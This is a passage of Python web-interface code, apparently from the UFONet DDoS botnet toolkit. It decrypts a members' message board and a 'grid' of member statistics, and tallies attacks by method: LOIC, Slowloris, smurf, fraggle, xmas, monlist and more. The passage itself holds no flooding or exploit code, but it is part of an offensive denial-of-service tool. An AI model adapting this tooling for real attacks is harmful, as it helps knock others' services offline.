  6523. comment = str(b.rsplit(blackhole_sep, 1)[1])
  6524. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  6525. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  6526. else:
  6527. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  6528. f.write(end_mark)
  6529. f.close()
  6530. if page == "/cmd_decrypt_update":
  6531. if not os.path.exists('/tmp/out'):
  6532. open('/tmp/out', 'w').close()
  6533. with open('/tmp/out', 'r') as f:
  6534. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  6535. if page == "/news":
  6536. self.pages["/news"] = self.html_news()
  6537. if page == "/tv":
  6538. self.pages["/tv"] = self.html_tv()
  6539. if page == "/missions":
  6540. self.pages["/missions"] = self.html_missions()
  6541. if page == "/board":
  6542. self.pages["/board"] = self.html_board()
  6543. if page == "/grid":
  6544. self.pages["/grid"] = self.html_grid()
  6545. if page == "/wargames":
  6546. self.pages["/wargames"] = self.html_wargames()
  6547. if page == "/links":
  6548. self.pages["/links"] = self.html_links()
  6549. if page == "/streams":
  6550. self.pages["/streams"] = self.html_streams()
  6551. if page == "/games":
  6552. self.pages["/games"] = self.html_games()
  6553. if page == "/spaceinvaders":
  6554. self.pages["/spaceinvaders"] = self.html_spaceinvaders()
  6555. if page == "/browser":
  6556. self.pages["/browser"] = self.html_browser()
  6557. if page == "/radar":
  6558. self.pages["/radar"] = self.html_globalnet()
  6559. if page == "/grid_profile":
  6560. if pGet=={}:
  6561. self.pages["/grid_profile"] = self.html_grid_profile()
  6562. else:
  6563. self.save_grid(pGet)
  6564. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  6565. if page == "/board_profile":
  6566. if pGet =={}:
  6567. self.pages["/board_profile"] = self.html_board_profile()
  6568. else:
  6569. self.save_profile(pGet)
  6570. self.pages["/board_profile"] = self.html_board_profile_submit()
  6571. if page == "/board_remove":
  6572. self.pages["/board_remove"] = self.html_board_remove()
  6573. if page == "/grid_remove":
  6574. self.pages["/grid_remove"] = self.html_grid_remove()
  6575. if page == "/cmd_decrypt_moderator_board":
  6576. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  6577. try:
  6578. board_key = pGet["board_key"]
  6579. except:
  6580. board_key = ""
  6581. try:
  6582. filter = pGet["filter"]
  6583. except:
  6584. filter = ""
  6585. end_mark = "\n[Info] [AI] End of decryption."
  6586. if board_key != "": # board decryption
  6587. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  6588. f = open("/tmp/out", "w")
  6589. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  6590. f.write(str(b)+"\n")
  6591. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  6592. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  6593. if board_msg_sep in m:
  6594. m = m.split(board_msg_sep)
  6595. topic = m[0] # topic
  6596. t = m[1] # icon
  6597. n = m[2] # nick
  6598. g = m[3] # id
  6599. l = m[4] # comment
  6600. if topic == "1":
  6601. topic = "/GENERAL"
  6602. elif topic == "2":
  6603. topic = "/#OPSEC "
  6604. elif topic == "3":
  6605. topic = "/FAQ "
  6606. elif topic == "4":
  6607. topic = "/BUGS "
  6608. elif topic == "5":
  6609. topic = "/MEDIA "
  6610. else:
  6611. topic = "/BUGS[!]"
  6612. operator_img = open("core/images/crew/link"+str(t)+".txt").read()
  6613. icon = "<img src='data:image/png;base64,"+str(operator_img)+"'>"
  6614. self.decrypt(board_key, n)
  6615. if self.decryptedtext:
  6616. nick = self.decryptedtext
  6617. else:
  6618. nick = 'Anonymous' # We are legion!
  6619. try:
  6620. nick = nick.decode('latin-1') # parsing for "her.man.xs-latino"
  6621. except:
  6622. pass
  6623. if len(nick) < 3:
  6624. nick = 'Anonymous'
  6625. self.decryptedtext = "" # clean decryptedtext buffer
  6626. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  6627. self.decrypt(board_key, l)
  6628. if self.decryptedtext:
  6629. msg = self.decryptedtext
  6630. else:
  6631. msg = nodec_text
  6632. try:
  6633. msg = msg.decode('latin-1')
  6634. except:
  6635. pass
  6636. if len(msg) < 2:
  6637. msg = nodec_text
  6638. self.decryptedtext = "" # clean decryptedtext buffer
  6639. if filter in topic or filter == "ALL": # filter content by user selection
  6640. b = "<tr valign=top><td align=center>" + str(icon) + "<br>"+str(nick)+"</td><td>"
  6641. b += "<font size=+2>"+str(topic)+"</font>"
  6642. b += "<br>by "+str(nick)+"<br><br>"
  6643. b += str(msg) + "</td></tr>"
  6644. f.write(str(b)+"\n")
  6645. else:
  6646. pass
  6647. else: # not valid stream data
  6648. pass
  6649. b="</table>"
  6650. f.write(str(b)+"\n")
  6651. f.write(end_mark)
  6652. f.close()
  6653. if page == "/cmd_decrypt_moderator_board_update":
  6654. if not os.path.exists('/tmp/out'):
  6655. open('/tmp/out', 'w').close()
  6656. with open('/tmp/out', 'r') as f:
  6657. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  6658. if page == "/cmd_decrypt_grid":
  6659. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  6660. try:
  6661. grid_key = pGet["grid_key"]
  6662. except:
  6663. grid_key = ""
  6664. end_mark = "[Info] [AI] End of decryption."
  6665. if grid_key != "": # grid decryption
  6666. # Mothership stats counters
  6667. mothership_members = 0
  6668. unknown_members = 0
  6669. member_1 = 0 # Rookie
  6670. member_2 = 0 # Mercenary
  6671. member_3 = 0 # Bandit
  6672. member_4 = 0 # UFOmmander!
  6673. member_5 = 0 # UFOl33t!
  6674. mothership_missions = 0
  6675. mothership_transferred = 0
  6676. mothership_attacks = 0
  6677. mothership_loic = 0
  6678. mothership_loris = 0
  6679. mothership_ufosyn = 0
  6680. mothership_spray = 0
  6681. mothership_smurf = 0
  6682. mothership_xmas = 0
  6683. mothership_nuke = 0
  6684. mothership_tachyon = 0
  6685. mothership_monlist = 0
  6686. mothership_fraggle = 0
  6687. mothership_sniper = 0
  6688. mothership_ufoack = 0
  6689. mothership_uforst = 0
  6690. mothership_droper = 0
  6691. mothership_overlap = 0
  6692. mothership_pinger = 0
  6693. mothership_ufoudp = 0
  6694. mothership_chargo = 0
  6695. mothership_dorking = 0
  6696. mothership_maxchargo = 0
  6697. nodec_text = "KEY?"
  6698. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICK:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANK:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_tachyon' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tachyon','"+str(grid_key)+"')>TACHYON:</a></td><td align='center'><a id='filter_monlist' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('monlist','"+str(grid_key)+"')>MONLIST:</a></td><td align='center'><a id='filter_fraggle' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('fraggle','"+str(grid_key)+"')>FRAGGLE:</a></td><td align='center'><a id='filter_sniper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('sniper','"+str(grid_key)+"')>SNIPER:</a></td><td align='center'><a id='filter_ufoack' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoack','"+str(grid_key)+"')>UFOACK:</a></td><td align='center'><a id='filter_uforst' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('uforst','"+str(grid_key)+"')>UFORST:</a></td><td align='center'><a id='filter_droper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('droper','"+str(grid_key)+"')>DROPER:</a></td><td align='center'><a id='filter_overlap' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('overlap','"+str(grid_key)+"')>OVERLAP:</a></td><td align='center'><a id='filter_pinger' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('pinger','"+str(grid_key)+"')>PINGER:</a></td><td align='center'><a id='filter_ufoudp' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoudp','"+str(grid_key)+"')>UFOUDP:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  6699. grid_key = pGet["grid_key"]
  6700. f = open("/tmp/out", "w")
  6701. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  6702. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID
  6703. if grid_msg_sep in m:
  6704. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4|26->1.5)
  6705. m = m.split(grid_msg_sep)
  6706. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  6707. grid_nickname = m[0] # nickname
  6708. self.decrypt(grid_key, grid_nickname)
  6709. if self.decryptedtext:
  6710. grid_nickname = self.decryptedtext
  6711. else:
  6712. grid_nickname = nodec_text
  6713. unknown_members = unknown_members + 1 # add members as unknown
  6714. self.decryptedtext = "" # clean decryptedtext buffer
  6715. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  6716. grid_nickname = "Anonymous"
  6717. else:
  6718. grid_nickname = str(grid_nickname) # nickname
  6719. grid_ranking = m[1] # ranking
  6720. self.decrypt(grid_key, grid_ranking)
  6721. if self.decryptedtext:
  6722. try:
  6723. grid_ranking = int(self.decryptedtext)
  6724. except:
  6725. grid_ranking = nodec_text
  6726. else:
  6727. grid_ranking = nodec_text
  6728. self.decryptedtext = "" # clean decryptedtext buffer
  6729. if grid_ranking == 1: #Rookie
  6730. grid_ranking = "<font color='white' size='4'>*</font>"
  6731. member_1 = member_1 + 1
  6732. elif grid_ranking == 2: # Mercenary
  6733. grid_ranking = "<font color='cyan' size='4'>**</font>"
  6734. member_2 = member_2 + 1
  6735. elif grid_ranking == 3: # Bandit
  6736. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  6737. member_3 = member_3 + 1
  6738. elif grid_ranking == 4: # UFOmmander!
  6739. grid_ranking = "<font color='blue' size='4'>****</font>"
  6740. member_4 = member_4 + 1
  6741. elif grid_ranking == 5: # UFOl33t!
  6742. grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
  6743. member_5 = member_5 + 1
  6744. else:
  6745. grid_ranking = nodec_text
  6746. grid_totalchargo = m[2] # total chargo
  6747. self.decrypt(grid_key, grid_totalchargo)
  6748. if self.decryptedtext:
  6749. grid_totalchargo = self.decryptedtext
  6750. else:
  6751. grid_totalchargo = nodec_text
  6752. self.decryptedtext = "" # clean decryptedtext buffer
  6753. try: # parse for int
  6754. grid_totalchargo = int(grid_totalchargo)
  6755. mothership_chargo = mothership_chargo + grid_totalchargo
  6756. except:
  6757. grid_totalchargo = nodec_text
  6758. grid_dorking = m[3] # dorking
  6759. self.decrypt(grid_key, grid_dorking)
  6760. if self.decryptedtext:
  6761. grid_dorking = self.decryptedtext
  6762. else:
  6763. grid_dorking = nodec_text
  6764. self.decryptedtext = "" # clean decryptedtext buffer
  6765. try: # parse for int
  6766. grid_dorking = int(grid_dorking)
  6767. mothership_dorking = mothership_dorking + grid_dorking
  6768. except:
  6769. grid_dorking = nodec_text
  6770. grid_transferred = m[4] # transferred
  6771. self.decrypt(grid_key, grid_transferred)
  6772. if self.decryptedtext:
  6773. grid_transferred = self.decryptedtext
  6774. else:
  6775. grid_transferred = nodec_text
  6776. self.decryptedtext = "" # clean decryptedtext buffer
  6777. try: # parse for int
  6778. grid_transferred = int(grid_transferred)
  6779. mothership_transferred = mothership_transferred + grid_transferred
  6780. except:
  6781. grid_transferred = nodec_text
  6782. grid_maxchargo = m[5] # maxchargo
  6783. self.decrypt(grid_key, grid_maxchargo)
  6784. if self.decryptedtext:
  6785. grid_maxchargo = self.decryptedtext
  6786. else:
  6787. grid_maxchargo = nodec_text
  6788. self.decryptedtext = "" # clean decryptedtext buffer
  6789. try: # parse for int
  6790. grid_maxchargo = int(grid_maxchargo)
  6791. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  6792. except:
  6793. grid_maxchargo = nodec_text
  6794. grid_missions = m[6] # missions
  6795. self.decrypt(grid_key, grid_missions)
  6796. if self.decryptedtext:
  6797. grid_missions = self.decryptedtext
  6798. else:
  6799. grid_missions = nodec_text
  6800. self.decryptedtext = "" # clean decryptedtext buffer
  6801. try: # parse for int
  6802. grid_missions = int(grid_missions)
  6803. mothership_missions = mothership_missions + grid_missions
  6804. except:
  6805. grid_missions = nodec_text
  6806. grid_attacks = m[7] # attacks
  6807. self.decrypt(grid_key, grid_attacks)
  6808. if self.decryptedtext:
  6809. grid_attacks = self.decryptedtext
  6810. else:
  6811. grid_attacks = nodec_text
  6812. self.decryptedtext = "" # clean decryptedtext buffer
  6813. try: # parse for int
  6814. grid_attacks = int(grid_attacks)
  6815. mothership_attacks = mothership_attacks + grid_attacks
  6816. except:
  6817. grid_attacks = nodec_text
  6818. grid_loic = m[8] # loic
  6819. self.decrypt(grid_key, grid_loic)
  6820. if self.decryptedtext:
  6821. grid_loic = self.decryptedtext
  6822. else:
  6823. grid_loic = nodec_text
  6824. self.decryptedtext = "" # clean decryptedtext buffer
  6825. try: # parse for int
  6826. grid_loic = int(grid_loic)
  6827. mothership_loic = mothership_loic + grid_loic
  6828. except:
  6829. grid_loic = nodec_text
  6830. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  6831. grid_loris = m[9] # loris
  6832. self.decrypt(grid_key, grid_loris)
  6833. if self.decryptedtext:
  6834. grid_loris = self.decryptedtext
  6835. else:
  6836. grid_loris = nodec_text
  6837. self.decryptedtext = "" # clean decryptedtext buffer
  6838. try: # parse for int
  6839. grid_loris = int(grid_loris)
  6840. mothership_loris = mothership_loris + grid_loris
  6841. except:
  6842. grid_loris = nodec_text
  6843. else:
  6844. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  6845. self.decrypt(grid_key, grid_loris)
  6846. if self.decryptedtext:
  6847. grid_loris = self.decryptedtext
  6848. else:
  6849. grid_loris = nodec_text
  6850. self.decryptedtext = "" # clean decryptedtext buffer
  6851. try: # parse for int
  6852. grid_loris = int(grid_loris)
  6853. mothership_loris = mothership_loris + grid_loris
  6854. except:
  6855. grid_loris = nodec_text
  6856. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  6857. grid_ufosyn = m[10] # ufosyn
  6858. self.decrypt(grid_key, grid_ufosyn)
  6859. if self.decryptedtext:
  6860. grid_ufosyn = self.decryptedtext
  6861. else:
  6862. grid_ufosyn = nodec_text
  6863. self.decryptedtext = "" # clean decryptedtext buffer
  6864. try: # parse for int
  6865. grid_ufosyn = int(grid_ufosyn)
  6866. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  6867. except:
  6868. grid_ufosyn = nodec_text
  6869. else:
  6870. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  6871. self.decrypt(grid_key, grid_ufosyn)
  6872. if self.decryptedtext:
  6873. grid_ufosyn = self.decryptedtext
  6874. else:
  6875. grid_ufosyn = nodec_text
  6876. self.decryptedtext = "" # clean decryptedtext buffer
  6877. try: # parse for int
  6878. grid_ufosyn = int(grid_ufosyn)
  6879. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  6880. except:
  6881. grid_ufosyn = nodec_text
  6882. if version > 17 or version == 17 or version == 16 or version == 15:
  6883. grid_spray = m[11] # spray
  6884. self.decrypt(grid_key, grid_spray)
  6885. if self.decryptedtext:
  6886. grid_spray = self.decryptedtext
  6887. else:
  6888. grid_spray = nodec_text
  6889. self.decryptedtext = "" # clean decryptedtext buffer
  6890. try: # parse for int
  6891. grid_spray = int(grid_spray)
  6892. mothership_spray = mothership_spray + grid_spray
  6893. except:
  6894. grid_spray = nodec_text
  6895. else:
  6896. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  6897. self.decrypt(grid_key, grid_spray)
  6898. if self.decryptedtext:
  6899. grid_spray = self.decryptedtext
  6900. else:
  6901. grid_spray = nodec_text
  6902. self.decryptedtext = "" # clean decryptedtext buffer
  6903. try: # parse for int
  6904. grid_spray = int(grid_spray)
  6905. mothership_spray = mothership_spray + grid_spray
  6906. except:
  6907. grid_spray = nodec_text
  6908. if version > 17 or version == 17 or version == 16 or version == 15:
  6909. grid_smurf = m[12] # smurf
  6910. self.decrypt(grid_key, grid_smurf)
  6911. if self.decryptedtext:
  6912. grid_smurf = self.decryptedtext
  6913. else:
  6914. grid_smurf = nodec_text
  6915. self.decryptedtext = "" # clean decryptedtext buffer
  6916. try: # parse for int
  6917. grid_smurf = int(grid_smurf)
  6918. mothership_smurf = mothership_smurf + grid_smurf
  6919. except:
  6920. grid_smurf = nodec_text
  6921. else:
  6922. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  6923. self.decrypt(grid_key, grid_smurf)
  6924. if self.decryptedtext:
  6925. grid_smurf = self.decryptedtext
  6926. else:
  6927. grid_smurf = nodec_text
  6928. self.decryptedtext = "" # clean decryptedtext buffer
  6929. try: # parse for int
  6930. grid_smurf = int(grid_smurf)
  6931. mothership_smurf = mothership_smurf + grid_smurf
  6932. except:
  6933. grid_smurf = nodec_text
  6934. if version > 17 or version == 17 or version == 16 or version == 15:
  6935. grid_xmas = m[13] # xmas
  6936. self.decrypt(grid_key, grid_xmas)
  6937. if self.decryptedtext:
  6938. grid_xmas = self.decryptedtext
  6939. else:
  6940. grid_xmas = nodec_text
  6941. self.decryptedtext = "" # clean decryptedtext buffer
  6942. try: # parse for int
  6943. grid_xmas = int(grid_xmas)
  6944. mothership_xmas = mothership_xmas + grid_xmas
  6945. except:
  6946. grid_xmas = nodec_text
  6947. else:
  6948. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  6949. self.decrypt(grid_key, grid_xmas)
  6950. if self.decryptedtext:
  6951. grid_xmas = self.decryptedtext
  6952. else:
  6953. grid_xmas = nodec_text
  6954. self.decryptedtext = "" # clean decryptedtext buffer
  6955. try: # parse for int
  6956. grid_xmas = int(grid_xmas)
  6957. mothership_xmas = mothership_xmas + grid_xmas
  6958. except:
  6959. grid_xmas = nodec_text
  6960. if version > 17 or version == 17 or version == 16:
  6961. grid_nuke = m[14] # nuke
  6962. self.decrypt(grid_key, grid_nuke)
  6963. if self.decryptedtext:
  6964. grid_nuke = self.decryptedtext
  6965. else:
  6966. grid_nuke = nodec_text
  6967. self.decryptedtext = "" # clean decryptedtext buffer
  6968. try: # parse for int
  6969. grid_nuke = int(grid_nuke)
  6970. mothership_nuke = mothership_nuke + grid_nuke
  6971. except:
  6972. grid_nuke = nodec_text
  6973. else:
  6974. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  6975. self.decrypt(grid_key, grid_nuke)
  6976. if self.decryptedtext:
  6977. grid_nuke = self.decryptedtext
  6978. else:
  6979. grid_nuke = nodec_text
  6980. self.decryptedtext = "" # clean decryptedtext buffer
  6981. try: # parse for int
  6982. grid_nuke = int(grid_nuke)
  6983. mothership_nuke = mothership_nuke + grid_nuke
  6984. except:
  6985. grid_nuke = nodec_text
  6986. if version > 17 or version == 17:
  6987. grid_tachyon = m[15] # tachyon
  6988. self.decrypt(grid_key, grid_tachyon)
  6989. if self.decryptedtext:
  6990. grid_tachyon = self.decryptedtext
  6991. else:
  6992. grid_tachyon = nodec_text
  6993. self.decryptedtext = "" # clean decryptedtext buffer
  6994. try: # parse for int
  6995. grid_tachyon = int(grid_tachyon)
  6996. mothership_tachyon = mothership_tachyon + grid_tachyon
  6997. except:
  6998. grid_tachyon = nodec_text
  6999. else:
  7000. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  7001. self.decrypt(grid_key, grid_tachyon)
  7002. if self.decryptedtext:
  7003. grid_tachyon = self.decryptedtext
  7004. else:
  7005. grid_tachyon = nodec_text
  7006. self.decryptedtext = "" # clean decryptedtext buffer
  7007. try: # parse for int
  7008. grid_tachyon = int(grid_tachyon)
  7009. mothership_tachyon = mothership_tachyon + grid_tachyon
  7010. except:
  7011. grid_tachyon = nodec_text
  7012. if version > 17:
  7013. grid_monlist = m[16] # monlist
  7014. self.decrypt(grid_key, grid_monlist)
  7015. if self.decryptedtext:
  7016. grid_monlist = self.decryptedtext
  7017. else:
  7018. grid_monlist = nodec_text
  7019. self.decryptedtext = "" # clean decryptedtext buffer
  7020. try: # parse for int
  7021. grid_monlist = int(grid_monlist)
  7022. mothership_monlist = mothership_monlist + grid_monlist
  7023. except:
  7024. grid_monlist = nodec_text
  7025. grid_fraggle = m[17] # fraggle
  7026. self.decrypt(grid_key, grid_fraggle)
  7027. if self.decryptedtext:
  7028. grid_fraggle = self.decryptedtext
  7029. else:
  7030. grid_fraggle = nodec_text
  7031. self.decryptedtext = "" # clean decryptedtext buffer
  7032. try: # parse for int
  7033. grid_fraggle = int(grid_fraggle)
  7034. mothership_fraggle = mothership_fraggle + grid_fraggle
  7035. except:
  7036. grid_fraggle = nodec_text
  7037. grid_sniper = m[18] # sniper
  7038. self.decrypt(grid_key, grid_sniper)
  7039. if self.decryptedtext:
  7040. grid_sniper = self.decryptedtext
  7041. else:
  7042. grid_sniper = nodec_text
  7043. self.decryptedtext = "" # clean decryptedtext buffer
  7044. try: # parse for int
  7045. grid_sniper = int(grid_sniper)
  7046. mothership_sniper = mothership_sniper + grid_sniper
  7047. except:
  7048. grid_sniper = nodec_text
  7049. grid_ufoack = m[19] # ufoack
  7050. self.decrypt(grid_key, grid_ufoack)
  7051. if self.decryptedtext:
  7052. grid_ufoack = self.decryptedtext
  7053. else:
  7054. grid_ufoack = nodec_text
  7055. self.decryptedtext = "" # clean decryptedtext buffer
  7056. try: # parse for int
  7057. grid_ufoack = int(grid_ufoack)
  7058. mothership_ufoack = mothership_ufoack + grid_ufoack
  7059. except:
  7060. grid_ufoack = nodec_text
  7061. grid_uforst = m[20] # uforst
  7062. self.decrypt(grid_key, grid_uforst)
  7063. if self.decryptedtext:
  7064. grid_uforst = self.decryptedtext
  7065. else:
  7066. grid_uforst = nodec_text
  7067. self.decryptedtext = "" # clean decryptedtext buffer
  7068. try: # parse for int
  7069. grid_uforst = int(grid_uforst)
  7070. mothership_uforst = mothership_uforst + grid_uforst
  7071. except:
  7072. grid_uforst = nodec_text
  7073. grid_droper = m[21] # droper
  7074. self.decrypt(grid_key, grid_droper)
  7075. if self.decryptedtext:
  7076. grid_droper = self.decryptedtext
  7077. else:
  7078. grid_droper = nodec_text
  7079. self.decryptedtext = "" # clean decryptedtext buffer
  7080. try: # parse for int
  7081. grid_droper = int(grid_droper)
  7082. mothership_droper = mothership_droper + grid_droper
  7083. except:
  7084. grid_droper = nodec_text
  7085. grid_overlap = m[22] # overlap
  7086. self.decrypt(grid_key, grid_overlap)
  7087. if self.decryptedtext:
  7088. grid_overlap = self.decryptedtext
  7089. else:
  7090. grid_overlap = nodec_text
  7091. self.decryptedtext = "" # clean decryptedtext buffer
  7092. try: # parse for int
  7093. grid_overlap = int(grid_overlap)
  7094. mothership_overlap = mothership_overlap + grid_overlap
  7095. except:
  7096. grid_overlap = nodec_text
  7097. grid_pinger = m[23] # pinger
  7098. self.decrypt(grid_key, grid_pinger)
  7099. if self.decryptedtext:
  7100. grid_pinger = self.decryptedtext
  7101. else:
  7102. grid_pinger = nodec_text
  7103. self.decryptedtext = "" # clean decryptedtext buffer
  7104. try: # parse for int
  7105. grid_pinger = int(grid_pinger)
  7106. mothership_pinger = mothership_pinger + grid_pinger
  7107. except:
  7108. grid_pinger = nodec_text
  7109. grid_ufoudp = m[24] # ufoudp
  7110. self.decrypt(grid_key, grid_ufoudp)
  7111. if self.decryptedtext:
  7112. grid_ufoudp = self.decryptedtext
  7113. else:
  7114. grid_ufoudp = nodec_text
  7115. self.decryptedtext = "" # clean decryptedtext buffer
  7116. try: # parse for int
  7117. grid_ufoudp = int(grid_ufoudp)
  7118. mothership_ufoudp = mothership_ufoudp + grid_ufoudp
  7119. except:
  7120. grid_ufoudp = nodec_text
  7121. else:
  7122. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  7123. self.decrypt(grid_key, grid_monlist)
  7124. if self.decryptedtext:
  7125. grid_monlist = self.decryptedtext
  7126. else:
  7127. grid_monlist = nodec_text
  7128. self.decryptedtext = "" # clean decryptedtext buffer
  7129. try: # parse for int
  7130. grid_monlist = int(grid_monlist)
  7131. mothership_monlist = mothership_monlist + grid_monlist
  7132. except:
  7133. grid_monlist = nodec_text
  7134. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
  7135. self.decrypt(grid_key, grid_fraggle)
  7136. if self.decryptedtext:
  7137. grid_fraggle = self.decryptedtext
  7138. else:
  7139. grid_fraggle = nodec_text
  7140. self.decryptedtext = "" # clean decryptedtext buffer
  7141. try: # parse for int
  7142. grid_fraggle = int(grid_fraggle)
  7143. mothership_fraggle = mothership_fraggle + grid_fraggle
  7144. except:
  7145. grid_fraggle = nodec_text
  7146. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
  7147. self.decrypt(grid_key, grid_sniper)
  7148. if self.decryptedtext:
  7149. grid_sniper = self.decryptedtext
  7150. else:
  7151. grid_sniper = nodec_text
  7152. self.decryptedtext = "" # clean decryptedtext buffer
  7153. try: # parse for int
  7154. grid_sniper = int(grid_sniper)
  7155. mothership_sniper = mothership_sniper + grid_sniper
  7156. except:
  7157. grid_sniper = nodec_text
  7158. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
  7159. self.decrypt(grid_key, grid_ufoack)
  7160. if self.decryptedtext:
  7161. grid_ufoack = self.decryptedtext
  7162. else:
  7163. grid_ufoack = nodec_text
  7164. self.decryptedtext = "" # clean decryptedtext buffer
  7165. try: # parse for int
  7166. grid_ufoack = int(grid_ufoack)
  7167. mothership_ufoack = mothership_ufoack + grid_ufoack
  7168. except:
  7169. grid_ufoack = nodec_text
  7170. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
  7171. self.decrypt(grid_key, grid_uforst)
  7172. if self.decryptedtext:
  7173. grid_uforst = self.decryptedtext
  7174. else:
  7175. grid_uforst = nodec_text
  7176. self.decryptedtext = "" # clean decryptedtext buffer
  7177. try: # parse for int
  7178. grid_uforst = int(grid_uforst)
  7179. mothership_uforst = mothership_uforst + grid_uforst
  7180. except:
  7181. grid_uforst = nodec_text
